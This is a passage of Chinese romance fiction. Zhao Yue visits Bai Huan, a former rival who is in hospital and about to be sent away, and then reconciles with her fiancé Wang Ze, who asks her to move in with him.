心中忽而萌生些物是人非的空洞,昭玥只回了庄珂珂三个字:「太迟了。」
聊天便就停在这儿。
稍晚些时候,昭玥买了束花和一些水果,打算去明德医院看望白浣。
她选了束青绿色的杨桔梗,说不出缘由,昭玥觉得这花配她。
病房是套间,昭玥到的时候病人正独自躺着望天花板,听见动静以为是护工,“张姐,我这会儿不想上洗手间,你让我自己待会儿吧。”
昭玥将东西放到沙发旁的小桌上后出声:“是我。”
白浣这才微微坐起来些,似是没想到昭玥会来。
“怎么,看到我很惊讶?”
白浣:“我还以为我们这辈子不会再见了。”
昭玥在床边放置的凳子坐下,“还好吗?”
“只是骨折,需要静养,起码这几个月我是不能如他所愿了。”
昭玥没听懂白浣这话的意思,“他要你做什么了?”
“你不知道吗?”白浣垂了垂眸,“他让我回南城。”
昭玥心想,汪泽要与自己结婚,这么做,或许是不想折辱白浣。
“南城挺好的。”
“那你跟我换换吧,昭玥。”白浣一瞬不瞬地望她,不像是说玩笑,倒像是许愿。
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昭玥却还是被逗笑,“好啊,换换。”
别人的人生总是千好万好。
白浣也笑,“你们什么时候办婚礼?”
“六月。”
“那快了。”白浣望了望窗外垂落的夕阳,不知在说婚礼还是别的。
“回南城后打算做什么?”
“反正不可能继续创业了。”
“有什么难处吗?”
白浣摇摇头,“人的斗志是会被磨灭的。”
昭玥犹豫片刻,还是问:“这几年,会后悔吗?”
白浣却答得干脆利落:“我永远不后悔遇见他。”
“你这叫不叫自甘堕落?”
“或许算是,但是能做这么一场梦就算是堕落我也认。”
“我明白,这个人惯会使人迷路。”
“昭玥,你为什么没有迷路呢?”
白浣的这个问题令昭玥想起一周前,汪泽问她的那句。
她这次仍选择沉默。
白浣吃了几个护工洗好的蓝莓,嘴中却还是发苦,她想她凡胎浊骨,是做不成豁达的人了。
日暮了,告别之前,昭玥替她将房里的灯打开。
后来想起,竟发觉这是她们最后一次见面。
一个月之后,白浣稍微好点,汪泽就安排人将白浣送回了南城。
听说白浣住院期间,他一次都没来看她。
昭玥难免联想自己的结局。
自始至终,她对白浣的那点心疼与友好不过是因为透过她看见了自己。
-
婚纱设计师是汪泽下属的朋友,昭玥独自去选婚纱这事儿很快就被汪泽知道了。
周五晚上,汪泽按响她公寓门铃,手里捧了束用旧报纸包裹的多头橙。
花束艳丽的颜色与他周身衣物的灰白之色交应,有种违和的意境。
昭玥不久前在社交媒体上点赞过这种花束包裹方式,觉得有种漫不经心的浪漫,没成想就被他当做道歉的手段。
昭玥说他投机取巧。
但还是让他进来。
毕竟上一次她也有些口不择言,许多话不该她说。各自给彼此一个台阶,算是把不愉快的一页揭过。
“吃晚饭了吗?”
“开了一天的会,午饭都没顾上吃。”他有装可怜的嫌疑。
“我点的达美乐,你先垫垫?”
汪泽对吃倒是不挑,只要能填饱肚子就行,不像她,辣的酸的苦的,忌口一堆。
“再忙,吃饭的时间总能抽出来吧?”
“忙起来就没心情。”
“你小心英年早逝。”
“放心,绝不让你守寡。”
昭玥倒了杯水放他手边,“谁给你守寡,我巴不得改嫁。”
“那我一定好好爱护身体,”他弯弯唇,“绝不叫你有这机会。”
她窝在一旁的椅子上继续追刚更新的一集美剧,剧情却有些难入脑。
汪泽最近对她说的一些话很难叫人不多想。
她尽量叫自己神经大条一些。
因为昭玥觉得,退一万步来说,即便他对她有了动心的时刻,那也绝无可能是恒久的。
一时兴起、一息而灭,她当真的话才是真的自苦。
汪泽喝完了那杯水,杯壁有晶莹的水珠挂落。
下一秒,他居然问她:“昭玥,要不要搬去与我同住?”